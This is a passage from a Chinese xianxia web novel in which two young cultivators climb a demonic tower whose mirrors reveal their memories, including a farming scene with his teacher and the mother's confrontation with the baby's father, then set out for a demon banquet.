  颧骨高耸,两颊深陷,下颌尖尖,堪称獐头鼠目,戴着顶圆帽,穿着打扮颇像人间里客栈的小二。
  「嘻哈,两位来了,圣女娘娘在顶层恭候两位大驾,快请,快请。」
  齐开阳与洛芸茵对视一眼,【悲欢楼】里魔头不知多少,无数强大的气息传出。与噬心林里都是些未成形的魔族相比,这里想靠着两人的修为杀出一条血路是痴心妄想,恐怕随便下来一个魔头就把两人捏死。
  血檀木门散发着诡异,楼中的气息闻之甜腻带腐。两人依言进入楼中,眉头一皱。楼中的墙壁上并非砖石,而是千万片琉璃镶嵌而成,每张脸孔的眼窝里都闪动着磷火飘荡。
  左右各有一弯回旋台阶可登楼。两人定了定心神,正欲前行,那迎客的小魔伸手一拦,道:「两位,且慢,且慢。公子请走这边,小姐请走那边,悲欢楼里,男女有别的,谁来都是一样的规矩。规矩坏不得,嘿嘿,坏不得。」
  齐开阳与洛芸茵互相一点头,提醒闯荡魔界之初定下的约誓:无论看见了什么,遇见了什么,咱们两人之间,一定不能互相猜疑!
  悲欢楼,听名字就不善不祥,还不知会遇到多少异状奇事。魔族最擅操弄人心,技不如人就罢了,若是两人被引诱得互相残杀,可就太过可怜了些。
  齐开阳拔步从左侧先行,洛芸茵从右而上。
  两人的身影分别从左右消失,小魔嘎嘎怪笑,声音飘荡:「二位慢行,注意脚下别摔了跤。这满楼悲欢,可不知几许真,几分假~」
  齐开阳上了二层,回廊豁然开阔,三百六十面铜镜悬于天顶。镜中映出的却不是当下,而是无数交错的记忆碎片:仙门弟子正与心魔化身抵死缠绵,凯旋将军在庆功宴上亲手毒杀妻儿。最刺目的是中央巨镜——背过身的少女手持碎玉璇玑,回眸处,正是洛芸茵。剑锋所指,正是齐开阳的咽喉。
  饶是齐开阳做足了准备,见了这既幻又真的画面,仍觉毛骨悚然……
  洛芸茵登上二层,只见一片酒池肉林。她所站的池子中不是玉液琼浆,而是一片胶糊的液体。十余名天魔贵胄半倚在池边的骷髅座上,有男有女,有些狰狞,有些俊俏。天魔们见了少女露出垂涎之色,有三男二女天魔,甚至伸出细长的舌头舔了舔嘴唇。
  洛芸茵寒着脸一抱拳,又见天魔们指尖牵动银丝——每根丝线都系着个沉溺幻境的修士魂魄。
  刚分娩的少妇眼睁睁看着新生的婴儿正在入魔,变得青面獠牙。白须老者正在池中起舞,他每踏一步,足下就浮现孙儿被魔婴啃食的画面,越是悲痛,舞姿越癫狂,四周天魔额间的砂记便越发明亮……
  醉醺醺的女天魔泼洒下杯中酒液,如镜般照映着齐开阳正与曲纤疏赤裸着相拥,一场激情即将展开。俄而场景变换,洛芸茵见自己身穿大红嫁衣,披着红盖头羞答答地坐在床沿。齐开阳身着新郎官服喜不自禁地走近,揭开红布,却露出一头火红的长发……
  明知是重重幻象,洛芸茵仍心中大痛,咬着牙道:「诸位,这些小把戏就请收起来吧。弄些幻影唬人,徒劳无益。」
  「幻影?咯咯,这里是悲欢楼,所映照出的一切,都是你心中所愿所惧之推演,何来幻影?」泼洒酒液的女天魔浪荡而笑,道:「看看他们,沉湎于记忆之中不可自拔。你呢?你们呢?你们的记忆是什么?给本座看看你们的悲欢!」
  眉心一热,仿佛有什么离体而去。空中浮现出一块块大小不一的水晶,洛芸茵惊惧交加,心中深藏的秘密似被剥出,忙抬眼看去。
  水晶里不见自己,全是齐开阳,每一块都是齐开阳印象深刻的记忆。水晶散发着淡淡的银色光辉,天魔们似从未见过这样的异状,一时忘了大笑与嘲弄,道:
  「有喜无悲?」
  洛芸茵左右打量,齐开阳的记忆里有苦修的痛苦,有破障的艰难,唯独没有悲伤,且更多的都是喜悦。少女的目光落在最大的一块水晶上。透明的水晶里,是一片辽阔的农田……
  远山如黛,山脚下阡陌纵横足有二百余亩。农田里五十余人正在插秧,畦陇中漫过足胫的清水倒映着湛蓝的天空,有一半已插上了翠绿的禾苗。色彩缤纷,一派生机勃勃的气息。
  啪啪的踏水声搅乱了清水底的肥泥,原本清水倒映的天空变得朦胧不明。五六岁大的齐开阳半卷着裤管哇哇叫着,半步一踏,每一踏都故意重重落脚,将泥水溅起,沾得头脸上都是泥点。齐开阳乐此不疲,每半步就弯下腰,嘻嘻哈哈地将禾苗插进地里。
  在他左边的女子宠溺地笑着摇摇头,亦不责骂,任由他胡闹,只同样半步一弯腰地插着秧。洛芸茵定睛看时,正是慕清梦。她撩起的长裙裙角系在腰带上,裸出整只圆润笔直的小腿,腿边系起的裙裾垂落,似荷叶半幅的三角。
  慕清梦每一弯腰,只半屈膝,即使做着农活依然风姿优雅。丰腴的美臀随之撅起,一时难观其全形,仍足见其翘。她弯腰时沉甸甸的胸乳垂下,衣裳中央幽痕如雪,起身时悬荡一甩,如圣洁的仙子露出惊鸿一瞥的妩媚。
  在齐开阳右边的少女洛芸茵不识。只见她一样在插着秧,大大的媚目隔着水晶与洛芸茵一对视,洛芸茵都觉被电到了一般。少女不停地数落着齐开阳贪玩,不乖,弄得一身泥点,待会儿又要她来浆洗。可数落归数落,半点没有阻止齐开阳的意思。反而嗔骂之际,嘴角不时上勾,似乎齐开阳的快乐就是她的快乐。
  不一时这片水田已插了大半的秧苗,绿油油的见之心旷神怡。慕清梦额头上渗出香汗,她起身优雅地在额间一抹,道:「明琅,唱支小曲来听听。」
  明琅的声音清脆动听,数落人之际都觉甜美。慕清梦一言既出,齐开阳欢叫着跳起,手舞足蹈,泥污都溅到身旁两人身上,大叫道:「大姐,我想听你唱歌。」
  「就你皮。」明琅的脸颊上溅了两粒泥点,她不以为忤地轻轻抹去,带着微笑曼声唱道:「破晓雾,半亩云耕;蓑衣沾露,泥染袖深;种下星三粒,来日再取月痕;青秧波,如叠翠浪;风拂新禾,过生波纹;甘露生百谷,良田漫过山棱。
  拾流光,拾乾坤,天地阔;筛取碎金,虹彩满篷,无臻……」
  歌声清扬悠远,田垄里躬耕的农夫大声喝彩,年岁更小的卓亦常跟着哼唱。
  歌颂耕种的快乐与意义的歌曲,给了人无穷的力量。在歌声中,农田很快就插满了秧苗……
  「师尊,请施甘露。」明琅查点层层阡陌无误,向慕清梦道。
  慕清梦嫣然一笑,解下系起的裙脚升空而起。衣带凌风,罗裙飘飘,长长的裙裾仿佛神龙之尾轻摆。她双掌捧天,一颗颗晶莹的露珠从掌心吐出在空中遍布。
  露珠尽吐,慕清梦双掌一拍,和风起雾,乌云蔽日,雷鸣电闪。一瞬间甘露随风,淅淅沥沥地下起一场春雨……
  齐开阳坐在田埂上,光着的小脚一只踩在田泥里,一只架在田垄,双臂后撑半仰着上身,望着高高在上的恩师,如钦羡无所不能的神明。明琅站在他身边,一齐抬头仰望,斜风细雨打得春衫尽湿……
  春风化雨,刚种下的禾苗大口大口地畅饮如酥甘露,绿油油地发着光。
  「好啦,今天的农活忙完了,我们回家去。明日起记得准时来锄草,捉虫儿。」
  「师尊,我们为什么要自己种灵米?」
  「因为,这样我们靠自己就永远能吃饱饭,不用去求人。求人,最少都要向人低头,向人弯腰。既然都要低头弯腰,为什么不自己再加上一双手,播种,耕耘,收成?让自己不用去求人,看人的脸色呢?」慕清梦揉了揉齐开阳小小的脑袋,道:「开阳要是还不明白呀,就先记住这些话,往后你慢慢就明白啦。」
  「是,徒儿记住了。」
  齐开阳走在中间,慕清梦拉着他的左手,明琅拉着他的右手,夕阳将师徒三人的身影拉得长长的……

冰山女神的小医神
十指舞动
乡村小神医相亲比自己大三岁的高冷女总裁被嫌弃,没想到进入校园之后,凭借神乎其技的医术,却得到各种美女的青睐。迷糊小仙女:哥哥,我肚子疼!…… ...

风雨无阻 / 发表于: 2025/09/12 10:38:24

第三章:悲欢极乐
  一幅耕耘图,看呆了洛芸茵。场面的温馨和谐,让少女全忘了正身处魔界的鹰视狼顾之中。待洛芸茵回过神来时,才发觉天魔贵胄们全都沉默不语。有些沉湎其中,有些若有所思,有些目露惧意。
  “慕圣尊。”洛芸茵眼界开阔,心知耕耘的温馨固然打动人心,但对于崇尚力量的魔族而言,最震撼他们的还是慕清梦。
  一片土地,哪怕再怎么肥沃,能够承载的养料都有限,慕清梦开口就要“永远不必求人”。若说这句只是随口大言,那看她抚掌步云,托手为雨。春雨过后,秧苗饱滋雨露,绿得油光发亮。且比起降雨之前,秧苗明显长了一截。
  “这是【轮回之力】吗?”
  “不知道。”
  天魔们交头接耳,一时甚至忘了楼中还有一位洛芸茵。正议论纷纷间,夕阳中的慕清梦蓦然回头。明明是黄昏的夕阳,此刻仿佛日出般正赤如丹。慕清梦两瓣闭若鲜花,张若云霞的香唇微微一撇,一双会说话的眼睛环顾一扫。
  【悲欢楼】中的每一人,都觉这道目光意味深长地看了自己一眼,香唇的一撇则似戏谑哂笑,又似饶有兴致地看着这一切……
  “是……她!”一名天魔咕咚一声从骷髅椅栽下,慌乱之间竟掉入酒池,狼狈爬起。
  齐开阳身处宽阔的回廊,三百六十面铜镜里画面交错。从镜子里,齐开阳第一次见到美轮美奂的执剑湖与剑湖宫。看到初见洛芸茵时,她面对自己竭尽所能的反扑,在致胜一剑之前的犹豫。看到她赤裸着玉腿,足胫没入剑湖之中,一荡一荡地挑起湖波。刚听她呢喃般骂了一句赖皮狗,身后就传来脚步声。
  镜中的少女回眸,是一双通常裸着的玉腿,粉白,饱满,笔直而结实。齐开阳听见那一声“茵儿”的轻唤,猜到是谁,画面到此戛然而止。
  心中悸动,齐开阳冒了身冷汗。心旌动摇,旖旎念起,三百六十面铜镜里画面一变。
  洛芸茵展开星斗剑阵,铜镜如漫天繁星,镜光射下汇聚于齐开阳身上一点。
  光芒耀目之中,碎玉璇玑披风斩气,朝齐开阳当头斩落。
  齐开阳大骇。凝实的剑气,刺骨裂肤的痛楚,一切如此真实。
  “你有了柳姐姐,还要拈花惹草!我替柳姐姐杀了你。”洛芸茵娇叱着,剑刃忽然碎裂成七瓣,从四面八方朝齐开阳绞来。
  若是幻觉,几已乱真。若是梦境,太过真实。齐开阳向后疾退,这一退已无关于信或者不信,只是在危机之中最本能的反应。刚退了两步,星斗之力发动,浪漫的星光缠绕之下,齐开阳竟觉自己丁点动弹不得,且芒刺在背。
  痛楚升起,齐开阳恍然醒悟。洛芸茵怎会说自己拈花惹草?她哪里知道自己和阴素凝的情事?这是阴差阳错,但恍然间,让齐开阳有了明悟。
  【悲欢楼】中真假难辨,正因这些记忆交错混杂,外加身处楼中人的受画面影响,情绪不稳,才造就种种真实的幻象。
  齐开阳一朝顿悟,碎玉璇玑已斩到头顶。他不闪不避,宝剑与洛芸茵从身前没入,身后穿出,正是一道虚影。齐开阳运玄功于双目,睁开法眼,见满天星斗消失,只有三百六十面铜镜。回身向背后刺痛之处看去,只见墙上的人面琉璃吐出长长如锐器般的舌头,正钉入后背中吸食着血气。
  齐开阳向前一扑脱开,脑中一阵眩晕。那些吸食了血气的人面琉璃似得了极大的滋补,眼窝中的磷火之光大盛而化作苍白之色。人面得意地桀桀大笑,但在齐开阳的冷笑中,几面吸食了他血气的琉璃瓦忽然泛出金色。人面诧异之中,噗噗噗地琉璃碎裂,被金光蒸做虚无。
  齐开阳虽做轻蔑,实则并不好过。若不是有纯阳之气的八九玄功护身,未必挣脱得出来。且就那么短短的一瞬,脑中掠过无数幻象而一阵晕眩,暗道好厉害。
  若非八九玄功,若非自幼被恩师不容情面地进行无数次的【严惩】,而让神念凝实强壮,光这一下就未必扛得过去。
  得窥悲欢楼一点秘密,齐开阳忧思又起。洛芸茵在那一边是否陷入危机?此刻他做不了什么,只能相信洛芸茵能逢凶化吉,自家想办法先上了顶楼再说。
  左右无路,天顶上最中央最大的一面铜镜里,忽现出一眼寒湖,湖边俏立着人影来。齐开阳定睛一看,不见洛芸茵,只见一个女子的侧影。
  胸有诗意,臀蕴风情,正是洛湘瑶。此时影像上下两端被黑影缓缓覆盖而过,直至完全变得漆黑,只一瞬,又上下打开。齐开阳顿悟,这像是人的视线,难道是洛芸茵?她正眨了眨眼?可是响起的是一阵婴孩的咿呀之语,似在寻找熟悉的温情。
  女婴呼唤片刻,没有得到温暖爱怜的怀抱,嘤嘤啼哭。洛湘瑶回过身,心中不忍,单臂搂着女婴在怀。女婴立刻止住啼哭,转为咯咯咯银铃般可爱的娇笑。
  洛湘瑶低下头,一双丰满的烈焰红唇越凑越近,直至面容模糊,在女婴脸颊上深深一吻。母亲充满爱意的亲吻,让女婴十分受用,甜甜的呼吸带着奶音。洛湘瑶一吻之后,轻声哼起哄睡的儿歌。歌声轻柔而满是爱怜,女婴双目渐渐朦胧,在母亲怀里将要进入甜甜的梦乡。
  寒气骤起,湖面上瞬间结起一层浮冰。透明的冰面很快变得白茫茫一片,冰层深不可测。刺骨的奇寒惊醒了即将入睡的女婴,哇哇地大哭,泪水将视线朦胧了一片。
  “乖,茵儿乖……”洛湘瑶单臂轻拍女婴,柔声安慰,身边泛起一层蓝光抵御着寒气。
  寒气褪去,女婴止住了啼哭,睁着大眼睛疑惑地看着母亲,对周遭发生的一切茫然不解。洛湘瑶单臂紧了紧,露出个温柔的笑,抬头向天。
  “她是本座的种?”
  “是你的女儿!”洛湘瑶悲声如泣。一尊冰座高悬九天,座下九条霜龙盘旋吞吐着冰雾。冰雾相撞,发出玉罄相击的声音,化作九枚霜刃。刃尖闪着幽蓝的寒芒,遥指着冰湖边的母女俩。
  “你竟敢抗旨!本座说过什么?”声音威严,不容半点抗拒。
  “是,她不该来这世间,可她终究是来了。”洛湘瑶紧紧抿着唇,牢牢搂着襁褓。
  “罢了。”威严的声音沉默片刻,道:“念在夙缘一场,不治你的罪。她不应在世间,该去哪里,回哪里去。”
  “你就这般狠心?她是你的骨血啊……”
  “本座不需要,也不能留骨血。这些话,我早与你有言在先。你,配不上。
  ”
  “好。”洛湘瑶挺直了腰肢背脊,道:“从今往后,她跟我姓洛,与你再无半点瓜葛。”
  “那不够的……”冰座上的人不再说话,言尽于此,霜刃发出铮的一声脆响,闪着寒芒,其意已明。
  “可她,永远是我的女儿,谁都不许害她,你也一样!”
  洛湘瑶肩头亮起一点小星,足底无数玄奥的符文顺着六合之位扩张,被冰封的执剑湖传来轰鸣。湖面冰层碎裂,六柄宝剑浮空而起,与肩头的小星遥相呼应。
  洛湘瑶皓腕三寸之处现出一朵小小的白莲纹,莲瓣招展,被她精血一吐,刹时盛开成血色莲花。
  冰座上的男子起身,踏着霜龙而落。每踏一步,洛湘瑶皓腕上的莲纹就黯淡一分。直到他踏步至湖边,六剑一星始终未能出手,而洛湘瑶已屈膝跪在地上。
  香肩颤抖,似被沛莫可御的威压压得直不起腰,仅有丁点余力将女婴护在怀中,竭力挺起背脊,以免压伤了女婴。
  女婴咿咿呜呜,似乎感受到了母亲的痛苦。对世界还陌生的女婴,此刻竟不再啼哭,只懂事地平静躺在母亲怀里,母女之间,共同去面对这场劫难。
  单膝跪地,弯腰垂头,一只鞋尖映入眼帘。洛湘瑶厉斥一声,心口上一枚剑魄燃出冰蓝色的光芒。一星六剑化作漫天剑雨,可瞬息之间,耳畔传来咯咯哒哒之声。男子只用手一指,漫天剑雨皆被冰封。
  “原本还有些怜你,可惜,你非要与本座分个生死。”
  被冰封的剑雨每一柄都在震颤,试图碎裂寒冰。洛湘瑶扬首直视着男子道:
  “谁要害她,都要先杀了我!”
  男子手一招,襁褓中的女婴竟欲离怀而去,洛湘瑶大惊之下,死死抱着女婴,一同被凌空提了起来。皓腕的莲纹,心口的剑魄仍竭力闪着光芒,拼死相抗。
  “罢了罢了……”男子手一松,洛湘瑶委顿在地,道:“本座给你两个选择。
  其一,让这孽种魂归幽冥,永世不得超生。其二,放开你的神魂。”
  “你!”洛湘瑶愤怒地豁然抬头,片刻却又轻蔑地笑了起来,道:“原来,我曾心仪的人竟然这么蠢……”
  “你永远不会懂。想好了没有?”
  “你觉得我会害她?不,我永远不会,无论我要受什么委屈,我都要抚养她长大成人。”洛湘瑶理了理纷乱的长发,掩起心口的衣襟,怀抱着女婴,婷婷在湖边俏立,道:“我情愿被你种下奴印,从此以后,我再不会违抗你半点,你放心了吧?”
  “很好。”男子微微一笑,道:“你不必用话来套本座。本座想做什么,就做什么。就算许了你的东西,随时可以收回。想要保她的命,不要想着仅靠这枚奴印,本座从不喜欢强求。往后有事,本座自会传密旨与你,你最好乖乖地,尽力地办好。”
  “呵呵。想做什么就做什么?你若真能做到,当年又何必要我?”洛湘瑶一脸的轻蔑,用手捂住女婴的眼睛。被遮蔽的视线只有一团漆黑,不久后传来一声凄厉的惨呼……
  齐开阳满面震惊地看着铜镜中的画面如焰火般熄灭。在他年少的心田里,这一幕堪称人伦惨剧。齐开阳从未想过,从未见过这样的惨事,更完全不能想象。
  相较之下,自己虽不知父母何在,但在曲寒山里得到的关爱,哪曾有过眼前这一幕的颠覆?
  齐开阳震惊片刻,又起狐疑。悲欢楼真假难分,这一幕究竟是真是假?
  洛芸茵在楼的另一边,此刻正看见齐开阳从头至尾“欣赏”了这一段记忆。
  彼时自己还是个灵智未开的婴孩,可修道中人的天姿从母体中带来。这一幕在当年不明所以,却深深地刻在脑海里。待年岁渐长,当年记忆自然而然地念起。
  少女紧咬着牙关,无论想起多少次,她心中的怒火从未消减。往常她会不停地安慰自己,或有什么不明白的缘故。可今日再见这段影像,一切历历在目。
  “好深的记忆,外人看不着?”泼洒的酒液中的画面正是齐开阳注目于铜镜,而铜镜中演绎的均是一片混沌迷蒙。女天魔看了看洛芸茵,又看了看酒液,奇道:
  “小姑娘,为什么他好像能看清?”
  “你们的鬼把戏,我怎么会知道?”洛芸茵心中疑惑,不知女天魔说的是真是假。
  “啊……我知道了……咯咯咯……”女天魔脆声而笑,道:“去吧去吧,登楼去,圣女娘娘在顶楼等你。”
  话语声中,酒池裂开一面虚空之门,洛芸茵咬了咬牙,踏步而过,门自行关闭,只传来女天魔的笑声:“照世镜前,一切自然知晓。”
  洛芸茵的身形消失,方才跌落酒池的天魔心有余悸,道:“这俩小祖宗,还是早点送走的好些。”
  “不是小祖宗,难道能诱他们堕入幻境?”女天魔饮一口血酒,道:“他们道心坚定,幻象难惑心智,留在这里,同样奈何不得。”
  齐开阳被困在回廊,寻不着道路,只一遍遍地观看洛芸茵的记忆。忽然镜光褪去,只照映自己的影子。天顶上最大的那一面镜子分开一个洞口,洛芸茵探出头来,朝他招招手。
  “洛姑娘?”齐开阳从洞口一跃而入,见洛芸茵寒着脸,可毫发无伤,喜道:
  “你没事?怎么找着的道路?”
  “拜你所赐。”洛芸茵没好气地哼道,心中委屈巴巴,无处发泄,恨恨地几拳捶在齐开阳胸口,又抹了把眼泪,抽了抽瑶鼻,道:“走吧。顶层有个照世镜,不知道会怎样。”
  齐开阳被捶得莫名其妙,拳头并无真元,可用力甚大,捶得胸口砰砰直响。
  齐开阳龇牙咧嘴,见洛芸茵面上气苦,又想起方才所见的凄苦,一点怒意褪去,倒生怜惜之情。
  这条隐秘的通道仅容一人通过,齐开阳道:“快走吧,这地方邪气重得很。
  ”
  “哼。”洛芸茵委屈稍定,犹有余韵,凶巴巴地瞪了齐开阳一眼,赌气般大踏步登楼而去。齐开阳无奈,只得跟在身后,小心警惕,唯恐有什么机关突袭。
  所幸一路并无意外,两人连上四层,其间俱是宽阔的厅堂,或是窄小的楼道。
  料想每一层上本该有天魔诱人心智,不知为何全数撤去,倒和人间寻常酒楼无异。
  看看来到七层,一道窄门透出血月的暗光。两人深吸了口气,正待踏上阶级,就见眼前场景变换。楼梯四周又浮现人面琉璃,齐开阳刚展开八九玄功抵御,就见玄功金光被琉璃折射成支离破碎的光斑。顷刻之间,护体的玄功金光竟被污秽。
  “小家伙,你的修为不够,别卖弄那点功法了,上来吧。”
  齐开阳见这些人面琉璃空洞洞的眼窝里冒着红色的磷火,远比一二层所见高上不知几许。他只得叹了口气,收起功法,依言与洛芸茵登上顶层。
  曲纤疏坐在骷髅座上,空荡荡的顶层只有一面四五人高的巨镜。齐开阳拱手道:“多谢手下留情。”
  “留情,你想得倒美。”曲纤疏换了个姿势,斜倚在扶手上,道:“小姑娘,人家怜惜你,你可别使小性子。有些男人啊,嘴里不说,心里忍着,可万一有天发了怒,扭头就走谁也拉不回来。你可别把人给气走了,到时候,你可就孤零零一个人了。”
  “你胡说什么?”洛芸茵怒道。
  “我要是胡说,你生什么气?咯咯,你莫不是要说,他见到的都是假的?”
  曲纤疏勾了勾手指,道:“这面照世镜乃是先天遗宝,来呀,你们来照一照。小家伙,我是实话实说,可没有偏袒你,你不用说感激的话,更不用感激得眼睛都不眨一下。”
  齐开阳满脸通红。这位魔族圣女花容月貌,偏生姿态浪荡 ,衣着更是暴露。
  娇躯游移之间,仅着片缕的胸脯盈荡如水,像块磁石一样吸引人。齐开阳忙移开目光,洛芸茵已是恶狠狠地低声道:“再给我乱看。”
  齐开阳张了张嘴,无可辩驳,低声道:“我先近前去,若有什么不妥,你好有个准备。”
  照世镜仿佛悬在面前的圆月,齐开阳定了定神上前,洛芸茵伸手欲拉,拉了个空,齐开阳已站在照世镜下。
  晶莹不见半点杂质的镜面此刻混沌不明,一团黑气如漩涡,却又缓缓地画着圆圈流动,像浮云一样安闲。即使是镜中的映像,在场三人均觉这团漩涡般的黑气里混乱不堪。有生机在酝酿,有死气在侵蚀。旧的希望被磨灭,新的希望在生根发芽。
  “嗯?这是什么?”曲纤疏来了精神,双眸发着亮光坐直了身体。镜中仍然混乱而混沌,她不自禁地凑近站在齐开阳身边,想要看个明白。连洛芸茵亦被镜中异相吸引,缓缓靠近,抬头望着照世镜。
  一片混乱与混沌,浩瀚无垠。隐隐约约中,这片混沌里似有一个人影,双臂抱膝,随着漩涡流转着圈。人影凝立不动,像一幅画像。三人能看清,只因人影轮廓边偶有一丝金光亮起,稍纵而逝。
  齐开阳嘴唇一颤,人影熟悉又陌生,好像与自己有关,又混沌迷蒙。三人正瞠目结舌地观望时,照世镜磕哒一声,镜面裂出龟纹。碎裂的镜面上,场景变换,一只四目天魔扑扇着巨大的肉翼从天而降,抬手向三人抓来。
  “哼!”曲纤疏啐了一口,身上冒出香汗,晶莹的汗珠顺着锁骨的斜滑着汇聚于中,滚入丰满的胸峦中央。
  齐开阳挡在洛芸茵身前,正欲抵御天魔,忽又觉得万般怪异。天魔的大手张开,足以将三人都捏在手心,可齐开阳感觉里,抓的并不是自己?
  疑惑间,照世镜里映像消失,镜面由龟裂的纹路浮现八个大字:【溪缓长流,藤曲难摧】。只一瞬,又现出新的八个大字【执念生障,守拙存真】。
  “呸!”曲纤疏面色发窘,一贯浪荡的行止中忽露怒意。
  齐开阳则震撼于前八字箴言。这八字恩师曾反反复复向他耳提面命,个中之意,自是告诫他不可急功近利,当一步一个脚印,踏实前行。先前镜中混沌的画面,再到这八字箴言,莫非都与自己有关?至于后八字则完全不解,于是看向洛芸茵。少女更加愕然懵懂,仿佛与自己毫无干系。
  “滚,都滚!给老娘滚得远远的!”曲纤疏骤然变得怒不可遏,提着两人的衣领将他们从悲欢楼上远远掷了出去,喝道:“往东走!给老娘滚到【极乐宴】
  来!”
  这一掷力量好大,曲纤疏捏住两人衣领时,顺手还闭了两人的真元,成心要两人摔得七荤八素。半空中齐开阳连运玄功不可得,眼看就要摔落地面,伸手拉着洛芸茵向上一抛,相反的力道加身,自己重重地摔在地上。
  这一下摔得浑身骨骼欲裂,洛芸茵得齐开阳相助,落地时除了一踉跄之外,毫发无损。见齐开阳摔得龇牙咧嘴,埋怨道:“你傻不傻啊?”
  齐开阳大喘了几口气,察觉玄功渐复,喘着粗气道:“我皮糙肉厚,赖皮狗嘛,摔一下子怎地了。”
  “你……哼,赖皮狗。”洛芸茵亦觉闭去的真元恢复流转,拉起齐开阳道:
  “摔坏了没有?”
  “还好还好。”齐开阳舒展筋骨,回头遥望楼顶,见照世镜中似乎又有箴言显现。隔得远了看不清,只气呼呼道:“忽然发那么大火!”
  “看她长得漂亮,忘了她是魔族了么?色欲薰心,哼!”洛芸茵没好气道:
  “不准再看她。”
  “看她做什么,还不如看你。”齐开阳讷讷起身,察觉身上无异,伸手握拳,金光迸现,不由心中大定。
  “说得好听。”洛芸茵嘀咕一句,两人辨明了方向朝东行去。行出数步,洛芸茵悄声道:“你都从镜子里看见了?”
  “哪件事?”
  “我娘亲。”
  齐开阳默然片刻,道:“看见了。”
  “嗯。”
  洛芸茵加急了脚步,似乎不想被人看见她窘迫又难过的样子。此时天空中人影掠过风声响起,曲纤疏咯咯地得意而笑,从两人头顶飞过,看样子正在赶往东边的极乐宴。
  行了不知多久,渐闻前方人声鼎沸。不时有修士从四面八方赶来,正是被曲纤疏作法吸入魔界的一干人等。洛芸茵掩去真容,与齐开阳一同继续向前。远远望见一座巨大的宴厅半悬于空,宴厅顶上金碧辉煌,九百九十九颗明珠熠熠生辉。
  洛芸茵定睛一看,骇然失色,道:“这些……都是凝结的金丹。”
  有些明珠上还带着风干的血丝,看上去像活生生从凝丹修士的丹田里剖出。
  洛芸茵俏脸煞白,天地重开之后,古往今来,凝丹修士坠入魔界之后,大都免不了沉沦魔域化身为魔,或是身死道消的结局。这些金丹就是活生生的证据。
  “别怕,坚定道心。”齐开阳洒然一笑,鼓励道:“我听诸葛先生说过,令堂威名赫赫,立身极正,他是十分佩服的。剑湖宗三宗主的亲生女儿,一定不逊色半点。”
  “自进入魔界,还没有被高手以力为难过。你认为极乐宴里,同样考验道心?
  ”
  “大体如此。”齐开阳在身前连挥数十拳给自己打气,道:“走,我们去见识一下。”
  两人刚欲动身,空中飘飘荡荡落下一群人来,赫然是殷其雷所领的东天池一行。
  “他们也被吸入魔界?”
  殷其雷本身就有凝丹后期的修为,实力强大,身旁任何一个随从都非易于之辈。在凡间与曲纤疏交手时,魔族圣女发动法阵,东天池出手的一干人里有几名深不可测,甚至在殷其雷本身之上。比凝丹还要强的修士,莫非是天机高人?殷其雷本身就有凝丹后期的修为,实力强大,身旁任何一个随从都非易于之辈。在凡间与曲纤疏交手时,魔族圣女发动法阵,东天池出手的一干人里有几名深不可测,甚至在殷其雷本身之上。比凝丹还要强的修士,莫非是天机高人?
  这些人同样落入魔界,岂不是曲纤疏发动的法阵威力连天机高人都无法抵挡?
  “殷公子!”修士们纷纷上前行礼,一个个喜气洋洋。在步步危机的魔界,有四公子之首的殷其雷在此,人人底气都足了不少。
  一名侍童道:“诸位,殷公子不斥奇险辛劳,亲入魔界,为救诸位脱离魔界。
  ”
  沿途来到极乐宴,已有不少修士身死,人人如芒刺在背,危在旦夕。有了东天池壮行,活命的机会大了许多。修士们盼到生机,纷纷鼓掌喝彩。
  殷其雷目光一扫,甚是威严,挥手止住彩声,道:“魔界危机重重,诸君且听本座号令。有不遵者,以戕害同道论处。”
  “你信么?来救我们?”齐开阳窃窃声道。
  “那是魔界的七情塔,我娘都受不住,凭他?切~”洛芸茵平日没少听母亲细数东天池的胡作非为,以势欺人,甚是不屑。
  “正好,我亲眼看看东天池的手段。”
  “不管你心里怎么想,最好不要写在脸上。”洛芸茵警告道:“别魔界没拿你怎么样,死在东天池手里。他们!绝不会半点手软!”
  “知道,给他们来个阳奉阴违。”齐开阳回眼看了洛芸茵一眼,道:“你呢?
  你怎么办?”
  正商议间,果然东天池侍童高声道:“请诸君逐一上前自报宗门与修为,由殷公子统筹协调,共渡难关。”
  洛芸茵皱着眉,她隐世避开剑湖宗,还不可暴露。少女眼珠咕噜噜直转,颇有退却之意。齐开阳对东天池在洛城所作所为耿耿于怀,本不欲与这些人同行,见状使了个眼色。两人在人群中悄悄向边界退去。
  不多时两人退到人群边,东天池清点人数,已有一百余名修士报上名号,诸宗门不一而足。齐开阳与洛芸茵正要寻处隐藏,等这些人都入了极乐宴,再进入不迟。
  正当此时,宴厅里一声钟鸣,一名怪模怪样的小魔从厅口出来,道:“欢迎诸君来到极乐宴,厅中即将开宴,快请,快请。”
  修士们议论纷纷,见宴厅诡状殊形,甚是踌躇,都在等殷其雷下令。
  “嘿嘿,若误了时辰,诸君只得在厅外等候下一回。”
  “下一回是何时?”
  “那得看圣女娘娘的心情,或许是一两日,或许三年五载,再过五六千年也说不定。”
  “你……”
  修士们大怒,小魔丝毫不惧,好整以暇道:“诸君不妨先听听极乐宴的规矩。
  ”
  殷其雷摆手打断修士们的咒骂,道:“愿闻其详。”看他智珠在握的沉稳模样,修士们信心倍增。
  “嘿嘿!诸君入宴便见【饕餮廊】,仙肴玉酒,任君取用。吃饱喝足了,前方就是【合欢阁】,诸君酒足饭饱,可有求而不得的心上人?合欢阁中尽可让诸君满意。待诸君兴尽,可入【长生殿】,殿中为诸君准备好了势均力敌的对手。
  胜者放行,败者么,嘿嘿,得身受【时辰刑】再走……”
  小魔发出尖锐的嬉笑声缓缓退入宴厅,道:“我们魔界山川草木皆与人间不同,诸君若是没有信心,就地遍寻魔界的天材地宝修行。待修为够了再来极乐宴闯一闯又有何妨……”
  几句话竟说到许多修士的心坎里,却被殷其雷的厉喝打断:“沉湎魔界,必将堕落为魔!谁敢受魔族蛊惑,连累同道,本座决不轻饶!”
  这一句让齐开阳心生些许好感。殷其雷自现身之后,虽说派头排场甚大,但所作所为算得上有担当。莫不是这位圣子与他所知的东天池作风有所不同?他心中一动,拉住洛芸茵高声道:“我们愿先进去探探路!”
  说罢两人快速绕过人群,闪身入宴厅。殷其雷眉头一挑,看清了人影,并不阻止。
  齐开阳当先而入,将洛芸茵护在身后。自进入魔界来大体如此,少女似已习惯,亦步亦趋,紧跟着入宴。
  头顶九百九十九颗金丹明珠照得大厅犹如白昼,更让人觉得亮光刺目。一望无际的长廊摆着同样一望无际的长案,入目俱是难得一见的稀罕物,甚至不乏仙花瑶草,龙肝凤髓,无不是修行人大补之物。
  膏梁锦绣,金波玉液,奇香扑鼻。洛芸茵咽了口香唾,大为意动,心中又有犹疑,看了眼齐开阳,见他只是随性一扫,并无就座之意。少女心中奇怪,道:
  “这些东西有异么?”
